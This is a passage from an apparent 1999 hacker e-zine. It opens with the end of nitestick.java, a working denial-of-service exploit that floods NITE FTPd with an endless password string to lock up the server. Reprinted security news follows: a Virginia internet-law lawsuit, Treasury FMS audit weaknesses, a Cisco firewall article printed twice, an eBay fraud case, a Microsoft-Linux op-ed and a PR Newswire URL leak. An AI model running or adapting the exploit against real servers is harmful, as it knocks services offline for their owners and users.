       *    /__/\__\  \_____/    /__/  \_/  \__\            \____/     \__\
       *
       *                  Proudly Presents: nitestick.java   
       *               Coded By: Wyzewun [w1@antioffline.com]
       *
       * This will lock up any version of NITE FTPd (I tested version 1.051b on a  
       * Windows 98 box). The FTP daemon will not work at all while it is being
       * attacked, and the system becomes slow to the point of being pretty darn
       * un-usable and will probably eventually just fall over completely.
       *
       * Shouts to all of my Peepz in KeyRoot: Mnemonic, icesk, Pneuma, Vortexia,
       * secto0r, NtWaK0, f0bic and Axess. Greetz also fly out to Cruciphux, jus,
       * Moe1, ColdBlood, Timewiz and everyone who hangs in #!krs on EFNet and in
       * #hack on BlabberNet <www.blabber.net> - I feel for y'all. :]
       *
       */
      
      import java.io.*;
      import java.net.*;
      
        public class nitestick {
          public static void main(String[] args) throws IOException {
      
            Socket evilSocket = null;
            PrintWriter out = null;
      
            if (args.length != 1) {
              System.out.println("Syntax: java nitestick [hostname]");
              System.exit(0);
            }
      
            // Shameless Self-Glorification Banner :-/
            System.out.print("nitestick.java by wyze1\n\n");
      
            try {
              evilSocket = new Socket(args[0], 21);
              out = new PrintWriter(evilSocket.getOutputStream(), true);
            } catch (UnknownHostException e) {
                System.out.println("Hostname lookup for " + args[0] + " failed.");
                System.exit(1);
            } catch (IOException e) {
                System.out.println("I/O Error");
                System.exit(1);
            }
      
            System.out.println("Connected to " + args[0]);
            out.println("USER anonymous");
            out.print("PASS m0mma-aLwAyz-t0Ld-mE-WiNd0Ze-FTP-dAeM0nz-SuCkeD-BuT-DiD-I-LisSun-N");
            System.out.print("Right, just leave this running until you feel like being kind. :)");
            
            for (;;) {
              out.print("OOOOoooOoooOOooooOOoooOOOO");
            } } }
            
       @HWA 
         
46.0   VIRGINIA'S INTERNET LAW CHALLENGED
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       From Help Net Security http://www.net-security.org/
        
       by Thejian, Thursday 7th October 1999 on 10:55 pm CET
       Civil rights advocates and 15 Internet businesses filed a federal lawsuit yesterday
       challenging the constitutionality of a new Virginia law that seeks to ban from the
       Internet commercial material that could be considered harmful to juveniles. The
       lawsuit alleges that to comply with the law, Internet users and businesses "will be
       obliged to self-censor their speech, thus reducing the adult population in cyberspace
       to reading and communicating only material that is suitable for juveniles." The
       misdemeanor carries penalties of up to 12 months in jail and a fine of up to $2,500.
       Full story 
       
       http://www.washingtonpost.com/wp-srv/WPcap/1999-10/07/037r-100799-idx.html
       
       Virginia's Internet Law Challenged
       Ban to Protect Children Called Unconstitutional

       By Leef Smith
       Washington Post Staff Writer
       Thursday, October 7, 1999; Page B01 

       Civil rights advocates and 15 Internet businesses filed a federal lawsuit
       yesterday challenging the constitutionality of a new Virginia law that seeks
       to ban from the Internet commercial material that could be considered
       harmful to juveniles.

       The lawsuit, which names Virginia Gov. James S. Gilmore III and Attorney
       General Mark L. Earley as defendants, was filed by companies, authors and
       the nonprofit group People for the American Way. It alleges that to comply
       with the law, Internet users and businesses "will be obliged to self-censor
       their speech, thus reducing the adult population in cyberspace to reading and
       communicating only material that is suitable for juveniles."

       Larry Ottinger, a lawyer for People for the American Way, said yesterday
       that by trying to shield children from potentially harmful material, the law
       would effectively censor the free exchange of ideas that exists on the
       Internet.

       "The law is ineffective and harmful to business and the development of this
       medium," Ottinger said. "It threatens the public's ability to communicate and
       to receive valuable information on the Internet about health, the arts,
       literature and through conversations that go back and forth between friends."

       A spokesman for the attorney general's office said that officials could not
       comment because their office may be involved in this pending litigation.

       The Virginia General Assembly enacted the law April 7 over the objections
       of Gilmore, who tried to delay its consideration for a year, a spokeswoman
       for the governor's office said.

       Officials say no one has been charged under the law, which went into effect
       July 1. The misdemeanor carries penalties of up to 12 months in jail and a
       fine of up to $2,500.

       Del. Robert G. Marshall (R-Prince William), who sponsored the bill, said it
       was carefully crafted to target a narrow audience--those who sell
       pornography to children--and he criticized assertions that the law is not
       constitutional. 

       The law, he said, goes after the "commercial transaction where a
       pornographer is selling for money certain material that's harmful to minors
       and he's using the Internet or e-mail or selling CD-ROMs, which otherwise
       are legal in the absence of a statute," Marshall said. "You can give this
       garbage away and you're not going to be prosecuted. If you sell it, that's
       when you run into problems."

       The law makes it a crime to knowingly sell, rent or loan to a juvenile
       electronic files or messages containing an image "which depicts sexually
       explicit nudity, sexual conduct or sadomasochistic abuse and which is
       harmful to juveniles." The law also bars displaying such material for
       commercial purposes in a way that juveniles can "examine and peruse" it.
       The law also applies to verbal descriptions or narrative accounts of sex that
       could be damaging to children.

       Plaintiffs in the lawsuit include a wide range of businesses, advocates of free
       speech and authors. They include: Herndon-based PSINet, Inc., one of the
       world's largest providers of Internet-related services; author Harlan Ellison;
       the Comic Book Legal Defense Fund; Lambda Rising Bookstores, the
       nation's largest specialty retailer of gay and lesbian materials; and the Sexual
       Health Network, an Internet-based company that provides sex education
       materials for people with disabilities or chronic illness.

       John LoGalbo, an lawyer for PSINet, said the law places Internet service
       providers in an "impossible" situation in which they're faced with censoring
       the materials put online by their customers or risking prosecution.

       "Virginia is attempting to tell people all over the world what they can and
       cannot put on the Internet," LoGalbo said. "The Virginia law is a top-down,
       government-knows-best approach. Even if that was the right way, it won't
       work. You can't control what people all over the world place on the
       Internet."

       The lawsuit argues that parents and other Internet users can use software
       on their computers to restrict children's access to pornographic and other
       online sites they consider unsuitable. 

                 © Copyright 1999 The Washington Post Company
                 
       @HWA          
       
47.0  SECURITY WEAKNESSES PREVALENT AT TREASURY'S FMS
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Thursday 7th October 1999 on 2:05 am CET
      Systematic security weaknesses at the Treasury Department's Financial
      Management Service could leave the billions of dollars collected and paid out by the
      organization open to fraud, according to the General Accounting Office. Weaknesses
      include poor access control that leaves systems open to unauthorized users, and
      inadequate software development control that opens applications to poorly written
      code and backdoors. FMS also is moving to a new distributed computing environment
      that could further increase the security risks, GAO said. Full story 
      
      http://www.fcw.com/pubs/fcw/1999/1004/web-fms-10-06-99.html
      

      OCTOBER 6, 1999 . . . 16:15 EDT 


      Security weaknesses prevalent at Treasury's FMS 

      BY DIANE FRANK (dfrank@fcw.com)

      Systematic security weaknesses at the Treasury Department's Financial
      Management Service could leave the billions of dollars collected and paid out by
      the organization open to fraud, according to the General Accounting Office.

      The weaknesses stem from the lack of a centralized enterprise security
      management plan, despite a 1998 GAO report that pointed out the need for one.
      In this year's audit, GAO found that FMS had taken action to improve security.
      But three of the seven FMS centers have made little or no progress, and the
      most recent audit found new weaknesses, the report stated.

      Weakness include poor access control that leaves systems open to unauthorized
      users, and inadequate software development control that opens applications to
      poorly written code and back doors. FMS also is moving to a new distributed
      computing environment that could further increase the security risks, GAO said.
      
      @HWA

48.0 FEDERAL SECURITY PLAN WILL SEEK CORPORATE BUY-IN
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From Help Net Security http://www.net-security.org/
     
     by Thejian, Thursday 7th October 1999 on 1:45 am CET
     Federal officials say they need private-sector "buy-in" to protect critical public and
     private information systems. But these officials also acknowledged at a congressional
     hearing today that they must first take care of their own security problems, including
     an ongoing cyberattack that is originating out of Russia. Computerworld 
     
     http://www.computerworld.com/home/news.nsf/idgnet/9910063usasecure
     
     (Online News, 10/06/99 04:52 PM)



          Federal security plan will seek
                    corporate buy-in
                        By Patrick Thibodeau


       WASHINGTON -- Federal officials say they need
       private-sector "buy-in" to protect critical public and private
       information systems. But these officials also acknowledged
       at a congressional hearing today that they must first take
       care of their own security problems, including an ongoing
       cyberattack that is originating out of Russia. 

       Testifying before a U.S Senate Judiciary subcommittee
       today, Michael Vatis, a deputy assistant director at the FBI
       and director of the National Infrastructure Protection Center,
       offered some details on what may be the leading
       information security threat in government right now. 

       Vatis, at a hearing of the subcommittee on Technology,
       Terrorism and Government Information, confirmed a report
       that there has been an ongoing attack originating out out of
       Russia that has been aimed at government networks. 

       The attacks have gotten "unclassified but still-sensitive
       information" about defense-related matters, he said. 

       The investigation, involving a number of federal agencies,
       has been under way for more than a year and is
       code-named "Moonlight Maze," Newsweek magazine
       reported recently. 

       The hearing was called to look at information-security
       efforts in the public and private sectors. With so much of
       the nation's critical infrastructure in private hands, a
       "National Plan" to improve the federal government's
       information security, due to be released in the next several
       weeks, will also call for improvements in computer security
       at private companies. 

       Vatis, testifying on the government's plan to improve
       information security, said private systems "have significant
       vulnerabilities" to attacks from hackers, foreign nations,
       criminals and others. 

       "But we shouldn't act as though the private sector doesn't
       have its act together and the government does," said Vatis.
       "There are also significant vulnerabilities in government." 

       The plan, which is being prepared by the Critical
       Infrastructure Assurance Office (CIAO), a U.S. agency that
       is coordinating federal information-security planning, won't
       call for any new laws or regulations that would force
       companies to take specific actions to strengthen computer
       networks. 

       Instead, it will seek the "buy-in" of private companies largely
       through educational and outreach efforts. Federal security
       planners are also hoping that auditors and insurance
       companies will make information security a key part a
       company's risk assessment, effectively forcing laggards to
       make the necessary security improvements, said one
       federal official involved in this effort. 

       Peter Browne, a senior vice president at First Union Corp.,
       said government's approach of seeking cooperation over
       regulations will be more effective then a new government
       bureaucracy to enforce the regulations. The best practices
       for improving security at private companies are readily
       available, but the key is to "hold people accountable for
       implementing those standards." 

       And one of the best vehicles for ensuring that a company is
       following best security practices is to have a company's
       board of directors, usually through an audit committee,
       question company officials about security, Browne said. 

       The Judiciary hearing was prompted, in part, by disclosure
       in August of a plan by the Clinton administration to create a
       massive Federal Intrusion Detection Network called FIDNET
       (see story). Privacy groups are warning that FIDNET will
       intrude into private communications. 

       "FIDNET won't monitor any private network or e-mail traffic
       or confer new authority on any government agency, and will
       be fully consistent with privacy law and practice -- right?"
       asked Subcommittee Chairman Sen. John Kyl (R-Ariz.). 

       "Right," responded John S. Tritak, the director of CIAO, who
       said the intent of FIDNET will involve only civilian
       government agencies and offer a centralized capability for
       analyzing unusual activity. When criminal intent is found,
       law-enforcement agencies will be contacted, he said. 

       The National Plan will ask for $8.4 million in initial funding for
       the intrusion plan, along with $17 million to provide
       scholarships to college students for information-technology
       training. In accepting the money, the student would have to
       commit to working for the federal government for a certain
       period of time. Funding will also be used to retrain existing
       federal workers. 
       
       @HWA

49.0   CISCO FIREWALL PROMISES PRIVACY
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       From Help Net Security http://www.net-security.org/
       
       by Thejian, Thursday 7th October 1999 on 1:20 am CET
       Enter the PIX 5.0 firewall. It includes 56-bit DES IPSec at no charge, of 168-bit 3DES
       for a low $1.000. The firewall is part of Cisco's effort to accelerate the adoption of VPN
       and IPSec as an enterprisewide network infrastructure, rather than mere specialty
       applications. ZDNet        
       
       http://www.zdnet.com/zdnn/stories/news/0,4586,2348554,00.html
       
       --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Cisco firewall promises privacy
      By David Hakala, Sm@rt Reseller
      October 6, 1999 6:18 AM PT
      URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2348554,00.html
      
      Talk about stealing a page from Microsoft. In a bid to gain market share in the security arena, Cisco
      Systems is bundling virtual-private-network (VPN) capabilities with its PIX 5.0 firewall. 
      
      The firewall is part of Cisco's effort to to accelerate the adoption of VPN and IPSec as an
      enterprisewide network infrastructure, rather than mere specialty applications. Toward that end,
      Cisco has promised to implement VPN capabilities across its product line. 
      
      Enter the PIX 5.0 firewall. It includes 56-bit DES (Data Encryption Standard) IPSec at no charge,
      or 168-bit 3DES for a low $1,000. 
      
      "We now have VPN [capabilities] enabled on everything that Cisco offers," says Chris Blask,
      Cisco's firewall product manager. "Creating VPNs between various parts of the company will be
      easier and faster now. A manager will be able to implement an idea right now, instead of waiting
      months." 
      
      For resellers, Blask says, the opportunity to sell and deploy enterprise VPNs is "a dam burst waiting
      to happen." 
      
      But a VPN flood could drown corporate networks, cautions Greg Tennant, VP of product marketing
      and development for network carrier Convergent Communications Inc. "VPN encryption takes a lot
      of processor overhead on the desktop as well as the network," Tennant notes. 
      
      Cisco plans for hardware accelerators to take the load off routers and firewalls, but that won't help
      desktop clients. Translation: The savings gained on private-network carrier charges might be eaten
      up by more powerful PCs.
      
      Despite those potential challenges, Tennant welcomes Cisco's VPN strategy. "It makes it very
      simple for us to add VPN wherever it's needed." 
      
      Clearly, Cisco's enterprise VPN initiative, coupled with its installed base of VPN-capable hardware,
      creates lots of potential business for resellers that recommend and deploy security solutions.--------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Cisco firewall promises privacy
      By David Hakala, Sm@rt Reseller
      October 6, 1999 6:18 AM PT
      URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2348554,00.html
      
      Talk about stealing a page from Microsoft. In a bid to gain market share in the security arena, Cisco
      Systems is bundling virtual-private-network (VPN) capabilities with its PIX 5.0 firewall. 
      
      The firewall is part of Cisco's effort to to accelerate the adoption of VPN and IPSec as an
      enterprisewide network infrastructure, rather than mere specialty applications. Toward that end,
      Cisco has promised to implement VPN capabilities across its product line. 
      
      Enter the PIX 5.0 firewall. It includes 56-bit DES (Data Encryption Standard) IPSec at no charge,
      or 168-bit 3DES for a low $1,000. 
      
      "We now have VPN [capabilities] enabled on everything that Cisco offers," says Chris Blask,
      Cisco's firewall product manager. "Creating VPNs between various parts of the company will be
      easier and faster now. A manager will be able to implement an idea right now, instead of waiting
      months." 
      
      For resellers, Blask says, the opportunity to sell and deploy enterprise VPNs is "a dam burst waiting
      to happen." 
      
      But a VPN flood could drown corporate networks, cautions Greg Tennant, VP of product marketing
      and development for network carrier Convergent Communications Inc. "VPN encryption takes a lot
      of processor overhead on the desktop as well as the network," Tennant notes. 
      
      Cisco plans for hardware accelerators to take the load off routers and firewalls, but that won't help
      desktop clients. Translation: The savings gained on private-network carrier charges might be eaten
      up by more powerful PCs.
      
      Despite those potential challenges, Tennant welcomes Cisco's VPN strategy. "It makes it very
      simple for us to add VPN wherever it's needed." 
      
      Clearly, Cisco's enterprise VPN initiative, coupled with its installed base of VPN-capable hardware,
      creates lots of potential business for resellers that recommend and deploy security solutions.
      
      @HWA
      
50.0  SEATTLE TIMES ON E-BAY SCAMMER
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
      
      by Thejian, Thursday 7th October 1999 on 1:10 am CET
      A Seattle-based con artist known as "Jeff Stark" made the most of high-tech
      anonymity and old-fashioned chutzpah to rip off people who bought items from him
      using eBay, the Internet's premier auction site. The amount of money involved in the
      rapid-fire series of rip-offs attributed to Stark is small - only about $3,000. But the
      story, fraud experts say, is symptomatic of a worsening problem as online auctions
      expand. Stark, if that's his true name, has not been arrested or charged. Read more 
      
      http://www.seattletimes.com/news/local/html98/ebay_19991004.html
      
      Posted at 01:12 p.m. PDT; Monday, October 4, 1999 


      How a cyber con artist in Seattle
      burned e-Bay bidders 
 
 
 
      by Peter Lewis 
      Seattle Times technology reporter 
 
      A Seattle-based con artist known as "Jeff Stark" made the most of
      high-tech anonymity and old-fashioned chutzpah to rip off people
      who bought items from him using eBay, the Internet's premier
      auction site.
 
      Surfing from a Capitol Hill cyber cafe, using a Web-based e-mail
      account, a free "laser phone" voice-messaging service and an
      Eastlake mail drop, Stark sold computer and consumer electronics
      goods in recent weeks. But police and those who were duped say
      Stark never sent the merchandise.
 
      Stark, if that's his true name, has not been arrested or charged. He
      may not even live in the Seattle area.
 
      The amount of money involved in the rapid-fire series of rip-offs
      attributed to Stark is small - only about $3,000. But the story, fraud
      experts say, is symptomatic of a worsening problem as online
      auctions expand.
 
      Fraud detectives warn it would be simple for Stark - or those like
      him - to replicate the scam endlessly, using other names or e-mail
      accounts.
 
      Statistics by the National Consumers League, a Washington,
      D.C.-based organization that monitors cyberspace, show that
      Internet fraud is growing - and that auction rip-offs handily outpace
      all other forms of fraud. The 5,280 auction-related complaints filed
      in the first six months of 1999 exceed the total for all of last year.
 
      And online auctions are soaring in popularity, with big names such
      as Amazon.com and Yahoo joining the fray. eBay, the market
      leader, has provided the venue for 57 million auctions since 1995.
 
      `I was just a little too trusting'
 
      In the Stark case, his victims apparently ignored some clues. For
      example, Stark insisted on payment by cashier's check or money
      order, and he declined to go through an escrow service. Moreover,
      Stark was new to eBay and had no prior record that members
      could check.
 
      "I was just a little too trusting," says Ed Bruneau of Spokane, who
      had sold or bought items on eBay about 20 times over six months
      before he learned a bitter lesson courtesy of Stark. "I've got better
      armor on now."
 
      One of the few physical proofs of Stark's existence is his right
      thumbprint, taken when he cashed a check.
 
      Detective Nick Hamm of the Raritan (N.J.) Township Police is
      trying to obtain the print with the help of a Spokane detective. Both
      officers are working on behalf of local victims.
 
      Especially irksome, both to victims and police, is that the costs of
      prosecuting such cases often heavily outweigh the loss incurred by
      a victim. The most any Stark victim lost in a recent round of
      auctions, for example, appears to be less than $400.
 
      As a result, such cases tend to fall through the cracks unless
      federal authorities take action. But they generally aren't interested
      unless substantial sums are involved or a particularly vulnerable
      class of victims is hurt, such as the elderly or those on fixed
      incomes.
 
      Still, Assistant U.S. Attorney Steve Schroeder, who prosecutes
      computer-crime cases in Western Washington, said of Stark, "I'd be
      interested in taking a look at this guy."
 
      Mail drop on Eastlake
 
      Rob Chesnut, a former federal prosecutor who works for eBay,
      said the company is committed to working with police to combat
      fraud. He said he regretted that inquiries about Stark from Hamm
      and Spokane Detective Craig Brenden were misrouted.
 
      Hamm says he is seeking a subpoena to get more information on
      the credit card Stark supplied when he set up his eBay account.
 
      With eBay's help, Hamm said, he has identified Stark victims from
      seven states, and plans to refer the case to federal authorities.
      Interestingly, eBay doesn't count Spokane's Bruneau as a
      full-fledged victim, because there is no official record of his
      transaction to buy a Mac clone from Stark for $309.
 
      That's because Bruneau wasn't the official high bidder. "But then
      Jeff (Stark) said the first guy didn't want it, did I?" Bruneau said.
 
      "He couldn't have been more friendly . . . I asked about picking (the
      computer) up in person. He said, `No problem.' This guy's got steel
      ones."
 
      Stark told Bruneau he lived near Lake Union. But his "residence"
      turned out to be a footlong steel box in a mail drop on Eastlake
      Avenue East. Stark put "#88" after the mail drop's street address,
      causing victims to believe he lived in a condo or apartment.
 
      Starting next April, the U.S. Postal Service will require mail centers
      such as Et Ceteras on Eastlake Avenue East, where Stark had his
      mail delivered, to designate customers' addresses as personal
      mailboxes. That will prevent them from being passed off as
      commercial or residential addresses.
 
      Ryan Murphy, owner of Et Ceteras, said he does not condone
      illegal use of his services, but he defends the use of designations
      such as "suite" for a mailbox. The government, he contends, should
      not dictate how small businesses operate.
 
      By contrast, Jennell Ramella and Ken Fox, co-owners of the Online
      Coffee Co., the Capitol Hill cyber cafe where Stark surfed, said the
      case has served as wake-up call. Authorities linked Stark to the
      cafe through the unique address assigned every computer attached
      to the Internet.
 
      Since being contacted by police, Ramella and Fox have started
      requiring identification of all customers. They give the ID back
      when customers leave, and don't keep copies.
 
      Still, they hope that asking for identification will serve as a
      deterrent.
 
      Anonymous e-mail, voicemail
 
      Stark used a free, Web-based e-mail account from Yahoo, and he
      signed up for a free, so-called "laser voicemail" account that lets
      users record a personalized greeting and retrieve messages. The
      service does not require its users to even have their own phone.
 
      Bidders taken in by Stark say the vast majority of their online
      transactions have been happy ones - and they don't intend to quit
      trading over the Internet.
 
      "Unfortunately, I got duped this time," said Kathy Scoppettuolo of
      Flemington, N.J., who was high bidder on a Web TV box, which
      delivers the Internet over a television. She told Stark she was
      buying it for her disabled brother.
 
      "If he (Stark) had a conscience, he could have made up an excuse
      (for canceling the sale)," she said. "But he didn't do that. That's
      why I've become so vocal about this."
 
      She added: "Ninety-nine percent of what I've gone through has
      been positive . . . I just really want to spank this guy."
 
      Once Stark's cheating was exposed, his victims turned technology
      against him, e-mailing among themselves and posting warnings on
      eBay to other would-be buyers.
 
      "Once he was detected, what was interesting was the (online)
      communication between all the aggrieved parties," said Rolf Pfister
      of Palm Harbor, Fla. "That certainly helped to curtail any further
      people getting involved."
 
      Pfister said he "dodged a bullet" by backing out as winning bidder
      for a VHS dubbing deck Stark was selling. Before sending a check
      for $305, Pfister checked with others who had dealt with Stark and
      learned he was giving everyone the same excuse for why items
      hadn't arrived: "Gee, I guess the post office must have lost it."
 
      There may be a silver lining. Earlier this year, eBay started an
      insurance program that allows fraud victims to file claims. The
      policy is good for up to $200, minus a $25 deductible per claim. 
 
      @HWA
      
51.0  FUD FROM THE EMPIRE, THE GLOVES COME OFF
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Thursday 7th October 1999 on 12:30 am CET
      Well Microsoft launched a direct attack against Linux on a page dealing with
      so-called "LinuxMyths" on their website. Among them my personal favorite: "Linux is
      not suitable for mainstream usage by business or home users...". I guess I've been
      fooled, along with about 15 million other idiots. Anyways, responses are coming in
      from all over the web, personally liked this one.       
      
      http://www.32bitsonline.com/article.php3?file=issues/199910/gloves2&page=1
      
      
       FUD Attack from the Empire 

       By Clifford Smith

       The Penguins Postulates:
       1: We are better together than we are alone.
       2: If you push something hard enough, it'll fall over.

       The Gloves Come Off - about the Microsoft web page concerning Linux. 

                           I was going to rebuff the Microsoft fuddsters with a point-by-point rebuttal of their first
                           OPEN attack on Linux on their website, but I can't get through it without laughing
                           myself sick.......Instead, I will simply have you do this: 

                           Look at the source code for their page and you will see: 

       META NAME="DESCRIPTION" CONTENT="The Linux operating system is not 
       suitable for mainstream usage by business or home users. Today with 
       Windows NT 4.0, customers can be confident in delivering applications 
       that are scalable, secure, and reliable--yet cost effective to deploy 
       and manage. Linux clearly has a long way to go to be competitive with 
       Windows NT 4.0." 

       META NAME="KEYWORDS" CONTENT="Microsoft Windows NT Server 4.0, Linux 
       myths, Windows NT vs Linux, compared with Linux" 

       Now that we have that out of the way, a few observations....... 

       If you all think back to the DOJ trial and what a juggernaut Linux seemed to be when these chimps were
       defending themselves in court, you might see little differences in their posture. I guess the attitude is "that was
       then, this is now"....and we all know "the truth" is as flexible and malleable as any press release they'd like to
       put out. This is the only corporate policy that makes sense of these two very different attitudes - that lying is
       good if it keeps market share, or fools the judge. 

       Q: If W2K is really that good, Why the PR machine and the smear campaign??
       If you owned a trillion dollar software company that owned the desktop for all practical purposes AND had the
       killer OS (W2K)coming down the pike - would you let the software speak for itself?....I would, unless there was
       something so hideously wrong with it that it could not stand up by itself. 

       We live in wonderful times if these (highly paid) folks have to spend this much time and effort to debunk the
       "myth" that a little "Unix-like" operating system could actually be a threat to this trillion dollar company. 

                                 A "Unix-like" free operating system that does not employ ANY Public Relations
                                 Department, has no real paid employees, and still owns 14% of the server
                                 market with a projected growth of 25% per year for the next 10 years
                                 (anectdotal evidence courtesy of IDG, 1998) .........I really feel sorry for them.
                                 And, after all, don't they have better things to do with their time? Why haven't
                                 they explained why W2K is past 27 million lines of code and not close to living
                                 up to the PROMISES (DNA, etc.) Microsoft has been making. And, hey, it IS a
                                 little behind schedule now, isn't it?? 

       I just love the part about how "Linux is not suitable for mainstream usage by business or home users...". I
       guess I've been fooled, along with about 15 million other idiots, by that wily Finn and his minions into thinking I
       actually have uptimes of a year and can serve all the visitors to my website month after month without having
       to reboot the computer on a daily basis. By the way, a 99.9% uptime means exactly that: Reboot once a day, if
       rebooting takes 1.44 minutes. .......Hardly something I'd be bragging about. And, oddly enough, rebooting is the
       FIRST thing my Microsoft certified friend says he has to do when there is ANY problem with his servers....... 

       This is a corporation that couldn't even get it right when they had access to the source code of UNIX through
       their partial ownership of SCO..... 

       The only operating system on the planet NT4 is superior to is Win3.11........... 

       It seems odd to me that the timing of this little web page coincides with the failure of the ZDN test of
       webserver security. (If you don't think MS had anything to do with it, just ask yourself this: who is ZDN's largest
       advertiser?). The way it was handled had Microsoft written all over it. "you gotta put all the patches in one
       place..." or some drivel... 

       Remember that the Department of Justice and 20 states filed antitrust claims against Microsoft. The DOJ
       couldn't arrange to effectively take on Organized Crime, but took time to attempt an antitrust action against
       Microsoft. For those of you who are interested, an antitrust action is just above Not Playing Nice and just
       below Racketeering. Something else to keep in mind is the fact that, towards the end of the DOJ trial,
       Microsoft PAID for a newspaper advertisement that was supposed to be an open letter to the Court
       proclaiming Microsoft the Benevolent and Gracious company that they would have you believe. That backfired,
       too. 

       It seems the real business of Microsoft is the FUD and the BS disguised as "studies" and the really crappy
       hacks disguised as operating system. It seems Microsoft uses rumor and innuendo, Fear, Uncertainty and
       Doubt, forgetfullness on the witness stand and tactics, instead of software that is truly reliable and usable. 

       If their operating systems were worth what they CLAIM they are, Linux would still be a schoolboy's
       oddity, Sun would be out of business, and Novell would be a fond memory. 




       Once Upon a time, in western Europe, that cradle of all things Eurocentric, folks believed that the earth was
       flat. Anyone who said otherwise was routinely called an idiot, a blasphemer, or worse. It was a KNOWN FACT
       in 1490 or so that the earth was flat, dammit. And because everyone knew it, it was true. The Big Industries at
       the time (the church and the state) said so. What they did not know was that the Vikings had been doing those
       Viking things - sailing around and pillaging for some time before 1490 in what we now call the
       Americas.....Columbus had to find "the West Indies" for Western Europe to figure out that the earth wasn't flat.

       Ah, the land of the penguin. Still way ahead of the Known Facts, but pointing the way. 
       FUD Attack from the Empire 

       @HWA. 

      
52.0  READ WIRE NEWS BEFORE IT'S ON IT
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Wednesday 6th October 1999 on 12:25 pm CET
      If Joe Q. Daytrade knew that WorldCom was going to buy Sprint 10 minutes before
      the daytrading masses, he'd probably pop open his online trading account in a hurry.
      This scenario may not be far off, if the vulnerability recently exposed at a major
      newswire service is any indication: A data-hole that displayed news releases to
      anyone with a Web browser appeared on news distributor PR Newswire's site late
      last week. The company has yet to patch the hole but said it is working to resolve the
      matter. Wired       
      
      http://www.wired.com/news/business/story/22083.html?wnpg=all
      
      PR Newswire's Unintended Scoops
      by Chris Oakes 
      
      3:00 a.m.  5.Oct.99.PDT
      If Joe Q. Daytrade knew that WorldCom was going to buy Sprint 10 minutes before the daytrading masses, he'd probably pop open his online trading
      account in a hurry. 
      
      This scenario may not be far off, if the vulnerability recently exposed at a major newswire service is any indication: A data-hole that displayed
      news releases to anyone with a Web browser appeared on news distributor PR Newswire's site late last week. 
      
                                           
      The company has yet to patch the hole but said it is working to resolve the matter. 
      
      The hole, found late last week by Colorado-based software consultant Tim Van Tongeren, is found in PR Newswire's Web page addressing scheme. 
      
      Van Tongeren said he was looking for a new release at the service's site Thursday and noticed that new releases were numbered in simple
      numerical sequence, by way of a number contained in the URL of each announcement. 
      
      "I was getting bored [having to repeatedly go back] to the headline news page, so I just started putting in new numbers," he said. 
      
      Voila -- he was soon reading news releases 10-20 minutes before they showed up on the PR Newswire site or other Web sources of press releases. 
      
      Day traders, analysts, and observers pointed out that such an info-leak could pay handsome returns to the intrepid stock-watcher. 
      
      "If some big announcement comes out 15 minutes early, they could make use of that and, if appropriate, trade on that information," said David
      Scott, marketing director for Newsedge, a real-time news service that distributes PR Newswire among its many feeds. 
      
      "It's a really big deal. You could see a situation where, if [the news] moves the market, they could make trades." 
      
      There are SEC disclosure regulations preventing the early release of company information to unauthorized sources. But the company, which
      acknowledged the presence of the hole, said those disclosure restrictions were not breached. 
      
      "There is no problem with our getting releases out for disclosure purposes," said PR Newswire spokesperson Renu Aldrich, "because by the time we
      send it even to our Web site, it's already gone out to 2,500 media points, which includes Dow Jones, Reuters, Bloomberg. They have hundreds of
      thousands of subscribers." 
      
      Plus, she said, the potential impact was reduced by the fact that the announcements are distributed to qualified media outlets well before they
      could be accessed via the glitch. 
      
      About 2,500 media and financial information points receive the data simultaneously, she said. "So even if someone gets it through the loophole it's
      still not really a problem for disclosure purposes." 
      Wired News used the loophole to access a company earnings report and recorded a 12-minute delay before the same announcement appeared on
      an internal newswire service. Another nine minutes passed before it appeared on PR Newswire's own Web site; and 18-20 minutes before it
      appeared on common free wire sources on the Web, such as Yahoo and ETrade. 
      
      So how meaningful would a 10-minute jump on news be to a daytrader? 
      
      "Very meaningful," said Chicago-based daytrader Damon Brill, especially if the news was say, WorldCom buying Sprint -- an announcement almost
      sure to send Sprint's stock price up. 
      
      "It would only matter if I were one of only a select few that obtained that information. However, if I did obtain that prior to most, I would be able
      to make pre-emptive buy or short-sell decisions that would allow me to beat the market." 
      
      Brill said he pays close attention to selected companies via business news wires, and "if [the news is] big enough, I react." 
      
      Earnings reports and acquisitions news are among the types of announcements that would be nice to have in advance, he said. "But I also know
      that many traders are as quick, if not quicker than I am. So I take most stories with a grain of salt." 
      
      That's the same reason Dave Otto, director of retail brokering for investment research firm Edward Jones, said a 10-minute advance wouldn't mean
      much for the average investor. 
      
      "The opportunity to buy or sell based on a press release is limited at best -- very limited," Otto said. "Even with the professionals, it takes them
      time to digest the information.... If you're very quick on the trigger and you're very lucky, there's an outside chance you can profit from the
      information." 
      
      Meanwhile, the company said the hole was at the very least a security issue it intends to resolve as soon as possible. 
      
      "We take security very, very seriously," said Aldrich. "We take a lot of steps to make sure that nobody gets an edge over someone else in terms of
      viewing material news." 
      
      @HWA
      
53.0  Y2K LESSONS APPLY TO INFORMATION SECURITY
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Wednesday 6th October 1999 on 12:15 pm CET
      The federal government must apply the lessons it has learned from addressing the
      Year 2000 problem to its efforts to protect its critical infrastructure from information
      security threats, according to a General Accounting Office report issued this week.
      "While differences exist, many of the efforts that have been undertaken to manage
      and remedy the Year 2000 problem can also be applied to these longer term
      challenges," the report stated. "Some of these 'lessons' are already apparent.
